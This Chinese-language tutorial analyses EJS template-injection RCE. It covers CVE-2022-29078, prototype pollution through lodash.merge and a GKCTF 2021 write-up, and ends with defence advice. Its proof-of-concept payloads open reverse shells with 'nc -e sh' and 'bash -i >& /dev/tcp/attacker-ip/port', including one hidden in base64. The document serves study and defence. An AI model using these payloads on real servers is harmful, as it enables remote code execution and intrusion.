Ejs模板引擎注入实现RCE
字数 1210 2025-08-25 22:58:47
EJS模板引擎注入实现RCE 深度分析
一、EJS基础介绍
EJS (Embedded JavaScript templates) 是一个JavaScript模板库,用于从JSON数据生成HTML字符串。
1. 基本安装与使用
npm install ejs
2. 核心语法标签
-
执行JavaScript代码:
<% code %><% var a = 123 %> <% console.log(a); %> -
输出转义变量:
<%= 变量名 %><%= user.name %> -
输出非转义变量:
<%- 变量名 %><%- htmlContent %> -
注释:
<%# 注释内容 %>
3. 控制结构
条件语句:
<% if(state === 'danger') { %>
<p>危险区域</p>
<% } else { %>
<p>安全区域</p>
<% } %>
循环语句:
<% users.forEach((user) => { %>
<li><%= user %></li>
<% }) %>
4. 渲染方法
编译字符串:
var template = ejs.compile('<%=123 %>');
var result = template();
直接渲染:
var result = ejs.render('<%=123 %>');
二、EJS安全漏洞分析
1. CVE-2022-29078 (SSTI导致RCE)
漏洞原理
在EJS 3.1.6及更早版本中,存在服务器端模板注入(SSTI)漏洞。攻击者可通过settings[view options][outputFunctionName]参数在EJS渲染HTML时,利用浅拷贝覆盖值,最终实现远程代码执行。
漏洞复现环境
npm install ejs@3.1.6
npm install express
app.js:
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
res.render('index', req.query);
});
app.listen(PORT, ()=> {
console.log(`Server is running on ${PORT}`);
});
index.ejs:
<html>
<head><title>Lab CVE-2022-29078</title></head>
<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>
漏洞利用链分析
req.query参数传递到res.render- EJS内部处理时,
data.settings['view options']被浅拷贝到opts opts.outputFunctionName被拼接到生成的JavaScript代码中- 恶意代码被执行
关键代码分析
// ejs.js中的关键代码
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
// 后续代码中使用outputFunctionName
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
漏洞利用POC
curl "127.0.0.1:3000?test=AAAA&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"
2. 原型链污染导致RCE
漏洞原理
通过污染Object.prototype的outputFunctionName属性,影响所有EJS模板渲染,导致代码执行。
漏洞复现代码
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();
app.set('views', __dirname);
app.set('views engine', 'ejs');
// 原型污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));
app.get('/', function(req, res) {
res.render("index.ejs", {message: 'Test'});
});
app.listen(8000);
漏洞利用链分析
- 通过
lodash.merge污染Object.prototype - 设置
outputFunctionName为恶意代码 - EJS渲染时使用被污染的
outputFunctionName - 恶意代码被执行
常用POC
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"
}
}
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker-ip/port 0>&1\"');var __tmp2"
}
}
三、实战案例:GKCTF 2021 easynode
1. 登录绕过分析
漏洞代码:
const safeStr = (str)=>{
for(let i = 0; i < str.length; i++){
if(waf(str[i]) == "*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
绕过方法:
使用数组形式提交参数,绕过单个字符检查:
username[]=admin&username[]='#&username[]=1&...
2. 原型链污染利用
漏洞点:
extend({}, JSON.parse(addDIV));
利用步骤:
- 使用
addAdmin路由创建__proto__用户 - 通过
adminDIV路由污染原型链 - 触发EJS渲染执行恶意代码
Payload:
{
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvYXR0YWNrZXItaXAvcG9ydCAwPiYxXCI=|base64 -d|bash');var __tmp2"
}
四、防御措施
- 升级EJS版本:使用3.1.7及以上版本
- 输入验证:严格校验用户输入
- 禁用危险功能:避免使用
eval等危险函数 - 使用沙箱:在安全沙箱中执行模板渲染
- 最小权限原则:降低Node.js进程权限
五、总结
EJS模板引擎的RCE漏洞主要源于:
- 不安全的参数传递机制(CVE-2022-29078)
- 原型链污染影响模板渲染
- 缺乏严格的输入过滤
通过深入理解这些漏洞原理,可以更好地防御类似攻击,同时也能在安全测试中发现潜在风险。